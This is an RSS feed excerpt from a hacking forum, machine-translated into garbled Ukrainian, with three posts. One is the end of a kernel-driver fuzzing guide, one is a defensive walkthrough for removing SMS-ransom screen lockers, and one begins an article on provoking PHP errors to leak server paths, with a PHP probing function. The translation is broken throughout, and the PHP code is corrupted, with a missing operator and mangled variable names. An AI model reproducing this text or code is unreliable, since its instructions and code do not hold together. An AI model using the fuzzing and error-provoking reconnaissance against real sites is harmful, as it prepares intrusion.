						&lt;p&gt;1. Спочатку створюємо іменований канал у VMware. Для цього переходимо в меню &amp;quot;Settings&amp;quot; p Configuration Editor &amp;quot;, натискаємо на кнопку додати обладнання (&amp;quot; Add &amp;quot;), вибираємо&amp;quot; Serial Port &amp;quot;, тиснемо&amp;quot; Next &amp;quot;, далі зі списку вибираємо тип порту -&amp;quot; Use named pipe &amp;quot;і залишаємо дефолтний назва для іменованого каналу (\ \. \ pipe \ com_1). Після цього задаємо режим роботи &amp;quot;This end is server. The other end is application&amp;quot; у двох випадаючих полях і наостанок натискаємо кнопку &amp;quot;Advanced&amp;quot;, де активуємо опцію &amp;quot;Yiled CPU on poll&amp;quot; (інакше нічого не заробить).&lt;/p&gt;
						&lt;p&gt;Залишилося реалізувати можливість завантаження гостьової системи з включеним режимом віддаленої налагодження. Для цього в boot.ini (будемо вважати, що в якості гостьової системи використовується Windows XP) необхідно вставити новий рядок для запуску системи, додавши два важливих ключа / debugport і / baudrate:&lt;/p&gt;
						&lt;p&gt;[Operating systems]&lt;br /&gt;multi (0) disk (0) rdisk (0) partition (1) \ WINDOWS = &amp;quot;Microsoft Windows XP Professional&amp;quot; / fastdetect&lt;br /&gt;multi (0) disk (0) rdisk (0) partition (1) \ WINDOWS = &amp;quot;Microsoft Windows XP Professional - Debug&amp;quot; / fastdetect / debugport = com1 / baudrate = 115200&lt;/p&gt;
						&lt;p&gt;Під час наступного перезавантаження необхідно у завантажувачі вибрати ту версію системи, для якої ми включили режим відладки. Залишається налаштувати сам відладчик, але для цього потрібно лише під час запуску передати йому параметри іменованого каналу:&lt;/p&gt;
						&lt;p&gt;windbg-b-k com: pipe, port = \ \. \ pipe \ com_1, resets = 0&lt;/p&gt;
						&lt;p&gt;Ось тепер можна запускати IOCTL Fuzzer в режимі фаззінга, не побоюючись BSOD&#039;а на основній системі. Виконуємо довільні маніпуляції з тестованим ПЗ до тих пір, поки відладчик не повідомить нам про виникнення необроблюваної вилучення (це означає, що в звичайних умовах, швидше за все, це закінчилося б аварійним завершенням роботи системи).&lt;/p&gt;
						&lt;p&gt;Далі необхідно відновити виконання коду на віртуальній машині (у випадку з WinDbg треба просто натиснути F5), після чого ОС, що працює на віртуальній машині, запише аварійний дамп (crash dump) на диск. Готово: тепер у нас є докладні логи, дамп і сам запит, який призвів до падіння. Справа за малим - зрозуміти, як це можна експлуатувати:).&lt;br /&gt;А як же веб-фаззери?&lt;/p&gt;
						&lt;p&gt;Я навмисно не став згадувати в рамках цієї статті так звані web-based фаззери, які працюють на рівні HTTP і завалюють веб-сервер спеціально складеними запитами в пошуку помилок веб-додатки. Така опція є у кожному другому сканері веб-безпеки, які ми не так давно розглядали в рамках циклу &amp;quot;Інструменти пентестера&amp;quot;. Якщо говорити про універсальних платформах для створення фаззеров, то гріх не згадати про фреймворку Sulley, представленому на Blackhat&#039;е в 2007 році. На жаль, з тих самих пір він і не розвивається, але незважаючи на це залишається ефективним рішенням.&lt;/p&gt;
						&lt;p&gt;Кожен окремий фаззер з його допомогою конструюється окремо, але на відміну від Peach, де все описується декларативно в XML-файлі, тут тобі доведеться написати трохи коду на Python. Є ще один популярний конструктор фаззеров - проект SPIKE, але подружитися з ним зможуть тільки ті, хто добре знає мову C. Крім цього можна було довго говорити про фаззерах для пошуку вразливостей в ActiveX, COM-об&#039;єктах і де завгодно ще. Але це не головне. Важливо зрозуміти, що в багатьох місцях пошук вразливостей можна автоматизувати: саме за допомогою фаззінга знаходиться велика кількість багів в сучасних браузерах і суміжних з ними продуктів. А якщо є розуміння того, де може бути виявлена помилка і як її шукати, то фаззер вже нескладно написати самому або підібрати готове рішення.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:36:34 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=35#p35</guid>
		</item>
		<item>
			<title>Блочім блокери: повний мануал по боротьбі з блокіраторами</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=34#p34</link>
			<description>&lt;p&gt;Ваша система заблокована! Щоб активації необхідно відправити код xakep на короткий номер 31337. Під яким тільки приводом не змушують вухатого відправити дорогущую SMS, переконуючи його в тому, що на комп&#039;ютері віруси, або те, що Microsoft зловила його за неліцензійну вінду, або, врешті-решт, за те, що він подивився в Інеті &amp;quot;полуничку&amp;quot;. Розлучення спрацьовує.&lt;/p&gt;
						&lt;p&gt;Назва &amp;quot;Trojan.Winlock&amp;quot; давно стало характеризувати цілу галузь в вірусостроеніі, коли малварь не приховує себе в системі, а навпаки всіляко показує свою присутність, блокуючи роботу користувача. Спочатку способи виманюючи грошей нагадували швидше здирництва (саме тому клас вірусів називається Ransomware - від англійського слова ransom, викуп), явно вказуючи на те, що екран блокує вірус і здасться він тільки після відправки SMS на платний номер. Пізніше, методи розлучення стали більш витонченими: користувачів страхають, що вікно, що з&#039;явилося є новою системою захисту Microsoft по боротьбі з неліцензійним ПЗ, розігрують непоганий спектакль, прикидаючись антивірусом, який разом знаходить стос вірусів у системі і так далі - головне, що у всіх випадках проблеми пропонується швидко вирішити відправкою на короткий номер SMS.&lt;br /&gt;Як разлочить систему?&lt;/p&gt;
						&lt;p&gt;Блокатори можуть обмежувати користувача у відвідуванні певних сторінок (наприклад, Яндекса, Однокласників, а також сайтів антивірусних компаній), у використанні браузера, але найбільше тих, і вони серйозніше за всіх інших, версій малварі, яка блокують доступ до ресурсів операційної системи. Підхопивши заразу, користувач наривається на те саме вікно, в якому йому пропонується ввести код для розблокування, отриманий після відправки SMS на вказаний номер. При цьому виконати будь-які інші дії на комп&#039;ютері неможливо або практично неможливо. Додаток або взагалі забороняє будь-які операції в системі, обмежуючи поле діяльності активним вікном, або ж уважно стежить за тим, що робить користувач. Наприклад, якщо юзер ломиться за антивірусом, то вірус, визначивши ключові слова в заголовку вікна тут же закриває браузер.&lt;/p&gt;
						&lt;p&gt;У будь-якому випадку, навіть найбільш просунуті блокери - малварь, як правило, примітивна. Всяко НЕ руткіт TDL3, який хитромудрим способом ховається в надрах системи. Все, що потрібно від блокіратора - гарненько обмежити користувача в діях і по можливості відрубати антівівіруси (з чим, до речі, він нерідко справляються). Так чи інакше, заразу досить легко видалити як вручну, так і за допомогою численних антивірусних тулз (про їх нижче).&lt;/p&gt;
						&lt;p&gt;Головна заковика в тому, що комп&#039;ютер заблоковано, і заблокований, якщо ти, звичайно, не підчепив малварь сторічної давності, досить жорстко. Але якщо вийде добратися до системи, то можна заюзать допоміжні інструменти і позбутися від зарази, але як це зробити?&lt;/p&gt;
						&lt;p&gt;Перші версії блокерів був легко обдурити, навіть банальної перезавантаженням в безпечний режим. Далі можна або скачати і запустити який-небудь антивірусний сканер, або ж розправитися із заразою вручну. Останні модифікації блокіраторів вміло блокує всі можливі варіанти підходу до системи, тому й шляхи доводиться використовувати обхідні.&lt;/p&gt;
						&lt;p&gt;1. Очевидно, що якщо вивантажити блокуючий процес з пам&#039;яті, то можна повернути ОС до нормального стану. І якщо з локального комп&#039;ютера запустити менеджер завдань не виходить, то можна спробувати кільнуть процес малварі віддалено, скориставшись іншим комп&#039;ютером в мережі. Для цього використовуватися оболонка wmic (WMI Command-line), якій в якості параметрів можна передати адресу віддаленої машини та ім&#039;я користувача, отримавши таким чином можливість виконувати команди віддалено:&lt;/p&gt;
						&lt;p&gt;wmic / NODE: &amp;lt;ім&#039;я комп&#039;ютера або мережеву адресу&amp;gt; (наприклад / NODE: 192.168.1.12) / USER: &amp;lt;ім&#039;я користувача на зараженій машині&amp;gt; (наприклад, / USER: yastep)&lt;/p&gt;
						&lt;p&gt;Після того, як ти впровадиш пароль зазначеного в параметрах користувача, з&#039;явиться інтерактивна консоль. Управління процесами здійснюється з допомогою команди process. Якщо запустити її без параметрів, то на екрані відобразитися список процесів на віддаленій системі. Далі підхід нехитрий: шукаємо підозрілі процеси і послідовно видаляємо їх за допомогою все тієї ж команди і її ключа delete:&lt;/p&gt;
						&lt;p&gt;process where name = &amp;quot;&amp;lt;ім&#039;я процесу&amp;gt;&amp;quot; delete&lt;/p&gt;
						&lt;p&gt;У результаті отримуємо розблокувати систему, в якій можна приступати до лікування, про яке ми поговоримо нижче.&lt;/p&gt;
						&lt;p&gt;2. Маючи справу з Windows XP/2000, можна спробувати натиснути на клавіатурі комбінацію &amp;lt;WIN-U&amp;gt; - має з&#039;явитися вікно з активацією спеціальних можливостей, у якого дуже великий пріоритет і далеко не всі трояни вміють цю ситуацію обробляти. Далі запускаємо екранну лупу і у вікні з попередженням натискаємо на посилання &amp;quot;Веб-сайт Майрософт&amp;quot;, після чого запускається браузер, через який можна достукатися до будь-якого файлу, що виконується.&lt;/p&gt;
						&lt;p&gt;3. Логічно, що якщо дістатися до реєстру і файлової системи безпосередньо з системи не виходить, то можна спробувати зробити це з допомогою іншої ОС. Найбільш очевидний варіант - завантажитися з LiveCD. Один з найбільш підходящих дистрибутивів, який допоможе реанімувати систему, називається ERD Commander. У торрентах широко поширений образ, що включає в себе версії продукту для реанімації різних ОС: 5.0 - для Windows XP, 6.0 - для Windows Vista, 6.5 - для Windows 7/Server 2008 R2. У результаті отримуємо вдало створений завантажувальний білд вінди, звідки можна запустити практично будь-які допоміжні тулзи. Крім таких таких rescue-наборів ідеально підійдуть спеціальні LiveCD від антивірусних компаній, які вже мають на борту засоби для видалення зарази: Dr.Web LiveCD і Kaspersky Rescue Disk.&lt;/p&gt;
						&lt;p&gt;4. Незважаючи на те, що цей спосіб стоїть останнім, спробувати його потрібно в першу чергу. По правді кажучи, коли я вперше побачив блокери, то наївно вірив, що для генерації кодів використовуються хитрі алгоритми, а варіантів ключа нескінченно багато - загалом, вважав, що використається складний генератор, як для у шароварних програм. На ділі ж виявилося, що у більшості блокерів ключ захистів всередину в єдиному екземплярі, в інших використовується вкрай примітивні алгоритми, як, наприклад, різні ключі в залежності від дня тижня. До того ж, тіло вірусу нерідко дуже просто отреверсіть і витягти звідти готовий алгоритм для генерації ключів. Цим природно не забули скористатися ентузіасти, що зібрали бази таких ключів для розблокування, а потім і антивірусні компанії, склавши бази &amp;quot;короткий номер SMS - код для відправки - алгоритм складання ключа для розблокування&amp;quot;. Зараз такі онлайн сервіси є у всіх популярних вітчизняних вендорів:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Лабораторія Касперського: support.kaspersky.ru / viruses / deblocker;&lt;br /&gt;&amp;#160; &amp;#160; * Dr.Web: wwwdrweb.com / unlocker / index;&lt;br /&gt;&amp;#160; &amp;#160; * Eset: wwwesetnod32.ru/.support/winlock.&lt;/p&gt;
						&lt;p&gt;Крім цього для оффлайн використання є програма RansomHide. Пробивши номер для відправки SMS і текст повідомлення, з великою ймовірністю можна отримати робочу комбінацію для розблокування і одержати працездатну систему. Але тут треба розуміти, що зараза, як і раніше залишається в системі, тому її все одно необхідно видалити.&lt;br /&gt;Ручне видалення&lt;/p&gt;
						&lt;p&gt;Самий вірний спосіб знешкодити і видалити тіло вірусу, - відшукати, де вона встигла прописатися для автоматичного запуску на старті системи. Варіантів дуже багато, і описувати все було б просто нерозумно (зрештою, з завданням непогано справляються такі тулзи, як Hijackthis, Autoruns і OSAM). Але є спосіб, який саме блокери люблять більше всього, і про нього гріх не розповісти.&lt;/p&gt;
						&lt;p&gt;У реєстрі вінди є ключ HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ userinit, який визначає програми, які Winlogon запускає, коли користувач входить в систему. За замовчуванням, Winlogon запускає файл Userinit.exe, який у свою чергу стартує logon-скрипти, встановлює з&#039;єднання з мережею, а потім запускає і Explorer.exe, тобто користувальницький інтерфейс Windows. Прописавши до Userinit.exe шлях до якої-небудь програми, можна запустити її, перш ніж стартує інтерфейс Windows Explorer, а, прописавши після, - позначити старт конкретного додатка відразу після поява користувальницького інтерфейсу. Блокери дуже часто змінюють цей ключ, дописуючи шлях до свого файлу, що виконується:&lt;/p&gt;
						&lt;p&gt;Userinit =% systemfolder% \ userinet.exe, [шлях до виконуваного файлу блокера]&lt;/p&gt;
						&lt;p&gt;Саме тіло вірусу зазвичай розміщується де-небудь у непримітному місці. Як варіант, вдаючи з себе тимчасовим файлом з розширенням tmp, воно знаходиться в каталозі з тимчасовими файлами Windows. Виявивши в цьому ключі підозрілі записи, видаляємо підозрілі бінарники і повертаємо значення ключа до &amp;quot;% systemfolder% \ userinit.exe&amp;quot;. Інший поширений спосіб для автозапуску для блокерів - прописатися в ключі shell (знаходиться в тому ж розділі реєстру, що userinit), замінивши стандартне значення explorer.exe на шлях до злобливого бінарниках.&lt;/p&gt;
						&lt;p&gt;Способів на ділі дуже багато, але якщо відшукати підозрілі записи в реєстрі, то легко видалити і тіла вірусів. Щоправда, деяка малварь йде на найменшу хитрість і розміщує свої файли в прихованих потоках на диску, але тим простіше її виявити. Які ще додатки використовують таку можливість NTFS? Та ніякі. Видалити їх нескладно з допомогою утиліти streams від Марка Руссиновича, запустивши в консолі: &amp;quot;streams.exe-d-sc: \&amp;quot;.&lt;br /&gt;Кличемо помічників&lt;/p&gt;
						&lt;p&gt;Щоб не колупатися з файловою системою і реєстром вручну, влаштовуючи полювання на малварь (а нам - не перетворювати матеріал в опис тих місць у системі, де може влаштуватися малварь), можна скористатися антивірусними програмами, в тому числі безкоштовними варіантами комерційних продуктів (природно попередньо розблокувавши систему):&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Kaspersky Virus Removal Tool - безкоштовна варіація продукту від Лабораторії Касперського, що використовує той же движок і сигнатурні бази, але які не надають постійного захисту. Прога робить саме те, що нам потрібно - одноразове сканування. При цьому сигнатури зашиті в дистрибутив, тому перед кожним використанням його необхідно закачувати заново.&lt;br /&gt;&amp;#160; &amp;#160; * Dr.Web CureIt! - Повністю аналогічне рішення, з тією лише різницею, що розроблено інший антивірусною лабораторією.&lt;/p&gt;
						&lt;p&gt;Блокіратор - не руткіт, і з видаленням такої зарази впорається всякий антивірус. Втім, якщо довіри до Авер немає або ти хочеш сам більш детально розібратися, як зараза осіла в системі, то неоціненну допомогу тобі підкажуть дві утиліти, які стали своєрідним стандартом де-факто в ручному пошуку вірусів:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * AVZ - незважаючи на те, що в цій програмі є типовий сигнатурний сканер, в першу чергу утиліту потрібно сприймати, як напівавтоматичний антивірус. Найголовніше, що вона дозволяє - не копатися вручну в реєстрі і на жорсткому диску в пошуках підозрілих записів і файлів. AVZ виконує пошук малварі за непрямими ознаками, аналізуючи реєстр, файлову систему і пам&#039;ять, після чого видає звіт для самостійно осмислення. При цьому для аналізу використовується прямий доступ до диска, дозволяючи уникнути спуфінга малварью результатів виклику API-функцій.&lt;br /&gt;&amp;#160; &amp;#160; * HijackThis - так само, як і AVZ, сама нічого не лікує, але при цьому перевіряє області системи, найбільш схильні до змін малварью. Тулза сканує критичні області реєстру і виводить повний список знайдених ключів, деякі з яких можуть належати шкідливим програмам і вірусів.&lt;/p&gt;
						&lt;p&gt;Обидві програми в тандемі використовуються на різних security-форумах, де людям допомагають позбутися від вірусів, в тому числі на самому великої російському ресурсі virusinfo.info. Користувачі викладають логи, отримані за допомогою AVZ / HijackThis, а експерти в якості відповіді надсилають скрипти-сценарії, які легко виконуються за допомогою потужного движка AVZ. Для збору даних як для самостійного аналізу, так і для звернення по допомогу до ком&#039;юніті потрібно запустити AVZ і через меню &amp;quot;Файл -&amp;gt; Стандартні скрипти&amp;quot; виконати скрипти &amp;quot;Скрипт лікування / карантину та збору інформації для розділу&amp;quot; Допоможіть! &amp;quot;Virusinfo.info&amp;quot; і &amp;quot;Скрипт збору інформації для розділу&amp;quot; Допоможіть! &amp;quot;virusinfo.info&amp;quot;. До звітів ти отримаєш докладний звіт про запущені процеси і сервіси, завантажених драйверах, інжектованих в процеси DLL-бібліотеках, надбудови для Internet Explorer і всім-всім, що тільки може допомогти для аналізу. Причому звіт виконаний на HTML так, що ти на місці можеш створювати сценарій для видалення тих чи інших файлів, ключів реєстру й інших маніпуляцій у системі, які допоможуть позбутися від малварі.&lt;br /&gt;Якщо щось відключено&lt;/p&gt;
						&lt;p&gt;На жаль, навіть після вдалого видалення процесу з пам&#039;яті і тіла малварі, в системі іноді залишаються залишкові явища від діяльності блокера, що полягають, наприклад, в неможливості запустити редактор реєстру. Чим більше кривої вірус попався, тим більше чекати таких ось обмежень. У більшості випадків це можна поправити через реєстр в розділі HKEY_CURRENT_USER, що визначає роботу системи для поточного користувача, а також HKEY_LOCAL_MACHINE, в якому задаються налаштування для всіх користувачів відразу.&lt;/p&gt;
						&lt;p&gt;Почати треба з того, що цілком може не запускатися сам редактор реєстру. Якщо цього сталося, то доведеться внести поправити ключі реєстру DisableRegedit і DisableRegistryTools:&lt;/p&gt;
						&lt;p&gt;reg add HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System / v DisableRegedit / t REG_DWORD / d 0&lt;br /&gt;reg add HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System / v DisableRegedit / t REG_DWORD / d 0&lt;br /&gt;reg add HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System / v DisableRegistryTools / t REG_DWORD / d 0&lt;/p&gt;
						&lt;p&gt;Це не може допомогти. Якщо у тебе в принципі не запускаються exe-файли, то треба спробувати виконати reg-файл наступного змісту:&lt;/p&gt;
						&lt;p&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_CLASSES_ROOT \ exefile \ shell]&lt;br /&gt;[HKEY_CLASSES_ROOT \ exefile \ shell \ open]&lt;br /&gt;&amp;quot;EditFlags&amp;quot; = hex: 00,00,00,00&lt;br /&gt;[HKEY_CLASSES_ROOT \ exefile \ shell \ open \ command]&lt;br /&gt;@ = &amp;quot;\&amp;quot;% 1 \ &amp;quot;% *&amp;quot;&lt;br /&gt;[HKEY_CLASSES_ROOT \ exefile \ shell \ runas]&lt;br /&gt;[HKEY_CLASSES_ROOT \ exefile \ shell \ runas \ command]&lt;br /&gt;@ = &amp;quot;\&amp;quot;% 1 \ &amp;quot;% *&amp;quot;&lt;/p&gt;
						&lt;p&gt;Це допоможе, якщо вірус переассоціірует запуск виконуваних файлів на себе. Крім цього малварь може розладнати запуск додатків (наприклад, того ж regedit.exe) за допомогою розділу HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options. Додавши гілку з назвою файлу, що виконується, можна змусити систему запускати додаток під відладчиком, який у свою чергу задається за допомогою вкладеного ключа Debugger. Поставити дебаггер можна неправильно, і запуск програми не відбудеться. Видалити заважають ключі реєстру знову ж таки зручно через командний рядок:&lt;/p&gt;
						&lt;p&gt;REG DELETE &amp;quot;HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ regedit.exe&amp;quot;&lt;/p&gt;
						&lt;p&gt;Якщо програма не запускається, посилаючись на політику обмеження використання програм, то тобі прямо дорога в HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ Safer \ CodeIdentifiers \ 0 \ Paths. Доведеться покопатися і перебрати гілки, вибравши ті, які блокують запуск потрібного додатка.&lt;/p&gt;
						&lt;p&gt;Якщо після видалення малварі не запускається диспетчер задач, то ймовірніше за все його запуск обмежили з допомогою ключа &amp;quot;DisableTaskMgr&amp;quot;. Це легко правиться reg-файлом:&lt;/p&gt;
						&lt;p&gt;[HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System]&lt;br /&gt;&amp;quot;DisableTaskMgr&amp;quot; = dword: 0&lt;br /&gt;Блокіратор браузерів&lt;/p&gt;
						&lt;p&gt;Ще одне обмеження, яке може залишитися навіть після видалення малварі, - спливаючі вікна в браузері. Іноді не вбиває popup з вимогою відправити SMS, - єдиний симптом вірусів. На жаль, багато антивірусних продукти деякі із ситуацій обробити можуть далеко не завжди, а саме коли малварь встановлюється як надбудова для Internex Explore або як плагін до Firefox&#039;у. Втім, позбутися від них простіше простого, банально відключивши підозрілі розширення. В Internet Explorer для цього необхідно перейти в &amp;quot;Керування надбудовами&amp;quot; через меню &amp;quot;Сервіс&amp;gt; Надбудови&amp;gt; Увімкнення та вимкнення надбудов&amp;quot;, а в Firefox&#039;е вікно для керування доповненнями відкривається через &amp;quot;Інструменти&amp;gt; Додатки&amp;quot;.&lt;br /&gt;INFO&lt;/p&gt;
						&lt;p&gt;Рекомендую обзавестися в системі утилітою ProcessExplorer від Марка Руссиновича, що представляє собою Прокатаний таскменеджер. Якщо перейменувати exe-шник в яке-небудь нехитре назва є шанс, що ти зможеш використовувати його, якщо якась малварь заблокує штатний менеджер завдань.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Чому короткі номери для платних SMS не прикривають?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Для того щоб приймати платежі через SMS необов&#039;язково йти на контакт зі стільниковим оператором. Зараз величезна кількість компаній, які пропонують посередницькі послуги та зручні інтерфейси для впровадження такого способу платежів на своєму сайті. Просто набери в Google&#039;е &amp;quot;sms біллінг&amp;quot; і зрозумієш, наскільки багато подібних пропозицій. До речі, практично будь-який короткий номер, будь він з реклами, блокіратора або звідки-небудь ще, досить легко пробити через Google і знайти обслуговуючий його біллінг із зазначенням реальної вартості, яка за нього знімається.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Як правило, у білінгу є строгі правила, які не дозволяють використовувати їх шахраям. Навіть якщо останнім вдається пройти первинний контроль модератора, аккакунт блокується при першому ж факт виявлення розлучення. Проте ситуація тут така сама, як і з хостингом: перебувають люди і компанії, готові закривати очі на витівки клієнтів, отримуючи при цьому відповідну винагороду. Такі білінги називаються антіабузние.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Не дивлячись на те, що користувачів, по суті, вимагають відправити платну SMS, реальних випадків, щоб людина пішла подати заяву в міліцію дуже мало (а до недавнього часу не було взагалі), тому блокатори досить успішно існували майже півтора року. Щоб убезпечити себе, договори з білінгом полягають, як правило, на дропа або ІП, також зареєстрованого на документи підставного людини.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Втім, вже зараз жити заповзятливим хлопцям стає складніше. Оператори стали жорстко карати рублем контент-агрегаторів і провайдерів, яких викрили у Фродо.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:35:16 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=34#p34</guid>
		</item>
		<item>
			<title>Гюльчатай, відкрий личко: отримання інформації про веб-додатку</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=33#p33</link>
			<description>&lt;p&gt;Сьогодні я хочу розповісти тобі про деякі особливості функціонування веб-додатків, які можуть вплинути на їхню безпеку. Перш за все, пропоную звернути увагу на відмінності між термінами &amp;quot;безпека сайту&amp;quot; і &amp;quot;безпека системи управління сайтом&amp;quot;. У самому справі, хоча ці речі і взаємопов&#039;язані, але, як показує практика - вони всього лише пересічні безлічі. Пентестер, що виконує аудит конкретного сайту методом &amp;quot;чорного ящика&amp;quot; може виявити недоліки CMS, на якій цей сайт працює, а може і не виявити. Як пощастить.&lt;br /&gt;Ніколи не здавайся&lt;/p&gt;
						&lt;p&gt;Трохи лірики ... Одного разу мені довелося досліджувати одну дуже добре захищену систему. Мозкові штурми слідували один за іншим і нічого не приносили, ідеї вичерпувалися, а результат залишався практично нульовим. Я почав писати різноманітні фаззери, смикаючи то один, то інший скрипт в надії витягнути хоч що-небудь, але все було марно. Однак, крилата фраза на сірниковій коробці з чаплею та жабою, підкорила серця багатьох наших співвітчизників, виявилася як завжди бездоганно правильною. У купі відповідей сервера на різноманітні запити в очі кинулися відповіді аномально маленької довжини. Після їх більш докладного вивчення стало ясно, що сервер періодично не встигав відпрацьовувати мої наворочені запити за max_execution_time і скрипт падав з 500-м статусом. Це було вже щось, так як в помилці містилися абсолютні шляхи і імена скриптів на сервері. Вивудивши найважчий для сервера запит (ним виявилася функція створення мініатюри з формату TIFF), я поставив його в цикл в багатопотоковому режимі і став збирати інформацію. Через нетривалий час у мене були відповіді 11 різних типів, кожен з яких розкривав ім&#039;я і шлях до свого класу. Другий раз щастя посміхнулося в Гуглі, коли виявилося, що один з цих класів доступний для скачування на просторах Мережі. Після вивчення ісходника були виявлені слабкі місця та проведена атака перевизначення змінної з Register_Globals = ON. Підбирати ім&#039;я цієї змінної, не бачачи исходников, можна було роками ... Движок здався, а корисний досвід і спонукав мене до написання цієї статті.&lt;br /&gt;Установки PHP&lt;/p&gt;
						&lt;p&gt;Після такого дебюту відразу стало цікаво знайти інші можливі шляхи до проведення схожих атак. У налаштуваннях інтерпретатора PHP були виділені наступні опції:&lt;/p&gt;
						&lt;p&gt;max_execution_time&lt;br /&gt;max_input_nesting_level&lt;br /&gt;max_input_time&lt;br /&gt;memory_limit&lt;br /&gt;pcre.backtrack_limit (PHP&amp;gt; = 5.2.0)&lt;br /&gt;pcre.recursion_limit (PHP&amp;gt; = 5.2.0)&lt;br /&gt;post_max_size (PHP&amp;gt; = 4.0.3)&lt;br /&gt;upload_max_filesize&lt;br /&gt;max_file_uploads (PHP&amp;gt; = 5.2.12)&lt;/p&gt;
						&lt;p&gt;Тут не все, але найбільш поширені опції, що називається common:). Весь список опцій (включаючи різні модулі) можна знайти на php.net / manual / en / ini.list.php. Шукати за ключовими словами max, limit. З усіх параметрів слід було виявити найбільш застосовні. Тут я керувався, насамперед, універсальністю: хотілося знайти параметри, які вдасться компрометувати на як можна більш широкому спектрі налаштувань PHP та веб-серверів. Після довгих мук, описувати які тут не буду, виявилося, що самі придатні до використання - max_execution_time, memory_limit. Вони викидаються в тіло відповіді при налаштуваннях error_reporting = E_ERROR або вище, і display_errors = On.&lt;/p&gt;
						&lt;p&gt;Таке можна зустріти в більшості дефолтних конфіги. Крім того, варіюючи значення змінних, можна домогтися випадання помилок з різних місць програми. Врезультате ми отримаємо не тільки назви класів, скриптів, шляхи до додатка, але і поняття про ієрархію викликів у програмі. Але це ще не всі дані, які потрібно мати для початку роботи.&lt;br /&gt;Підготовчий етап - URI max length і max_input_nesting_level&lt;/p&gt;
						&lt;p&gt;Для початку напишемо прості скрипти для визначення двох параметрів сервера - максимальної довжини GET-запиту і максимальної глибини вкладеності вхідних даних. Навіщо вони стануть в нагоді буде розказано далі. Максимальна довжина запиту встановлюється веб-сервером, визначити її дуже просто методом дихотомії (розподілу відрізка навпіл). Код на PHP виглядає приблизно так:&lt;/p&gt;
						&lt;p&gt;function fuzz_max_uri_len ($ url) {&lt;br /&gt;$ Headers = array ();&lt;br /&gt;$ Data = array ();&lt;br /&gt;$ Left = 500; / / Значення лівого краю шуканого діапазону&lt;br /&gt;$ Right = 64000; / / Значення правого краю шуканого діапазону&lt;br /&gt;$ Accur = 5; / / Точність, з якою визначаємо значення&lt;br /&gt;while (($ right-$ left)&amp;gt; $ accur) {&lt;br /&gt;$ Cur = ($ right $ left) / 2;&lt;br /&gt;$ Data [&#039;x&#039;] = str_repeat (&amp;quot;x&amp;quot;, $ cur);&lt;br /&gt;list ($ h, $ c, $ t) = sendGetRequest ($ url, $ headers, $ data);&lt;br /&gt;$ S = intval (substr ($ h, 9,3));&lt;br /&gt;if ($ s &amp;lt;400) {&lt;br /&gt;$ Left = $ cur;&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;$ Right = $ cur;&lt;br /&gt;}&lt;br /&gt;echo &amp;quot;\ n $ cur \ t $ s&amp;quot;;&lt;br /&gt;}&lt;br /&gt;return (($ right $ left) / 2);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Другий необхідний параметр max_input_nesting_level - властивість вже суворо налаштування інтерпретатора, за замовчуванням дорівнює 64. Це значення визначає максимальну розмірність масиву, яку може мати змінна, що приходить від користувача. Розглянемо для прикладу ось такий код:&lt;/p&gt;
						&lt;p&gt;&amp;lt;? Php echo $ _GET [&#039;a&#039;];?&amp;gt;&lt;/p&gt;
						&lt;p&gt;У випадку, якщо, max_input_nesting_level = 1 і ми передамо в запиті? A [][], на екрані нічого не з&#039;явиться, в інтерпретаторі виникне помилка рівня Notice, що говорить про те, що змінна не оголошена. Якщо ж ми збільшимо значення параметра до 2 і повторимо запит, на екрані вже висвітиться &amp;quot;Array&amp;quot;. Здавалося б, саме такий самий простий спосіб визначити значення цього параметра - знайти скрипт, який в явному вигляді виводить значення якої-небудь користувальницької змінної та викликати його, збільшуючи вкладеність, поки не зникне напис Array. Такий пошук знову-таки варто проводити методом дихотомії. Проте я спробував написати більш універсальний алгоритм, який буде працювати навіть у випадку, коли у відповідь виводяться змінні, тільки побічно залежать від користувальницької. До цих пір не впевнений з приводу оптимальності обраного алгоритму, так що уявляю його на суд громадськості:). Суть в тому, щоб поступово збільшувати значення розмірності масиву і аналізувати кількість байт відповіді. Якщо довжина відповіді відрізняється від попереднього більше ніж на якесь порогове значення, це вважається аномалією й фіксується в балці. Доповнивши мій PoC нехитрої функцією побудови графіків, я одержав цікаві картинки, які представлені у виносках. У більшості випадків, по спаду графіка залежності розміру відповіді від розмірності масиву й значення параметра. Цей алгоритм нагоді мені й надалі, плюс я написав аналогічний статистичний аналізатор для часу відповіді сервера.&lt;br /&gt;Надмірне вживання пам&#039;яті шкодить вашому скрипту&lt;/p&gt;
						&lt;p&gt;Повернемося до нашої святої мети - спровокувати помилку &amp;quot;Allowed memory size exhausted&amp;quot;. В якості самого тривіального прикладу, розглянемо PHP-код &amp;lt;? Php echo &#039;OK&#039;;?&amp;gt;.&lt;/p&gt;
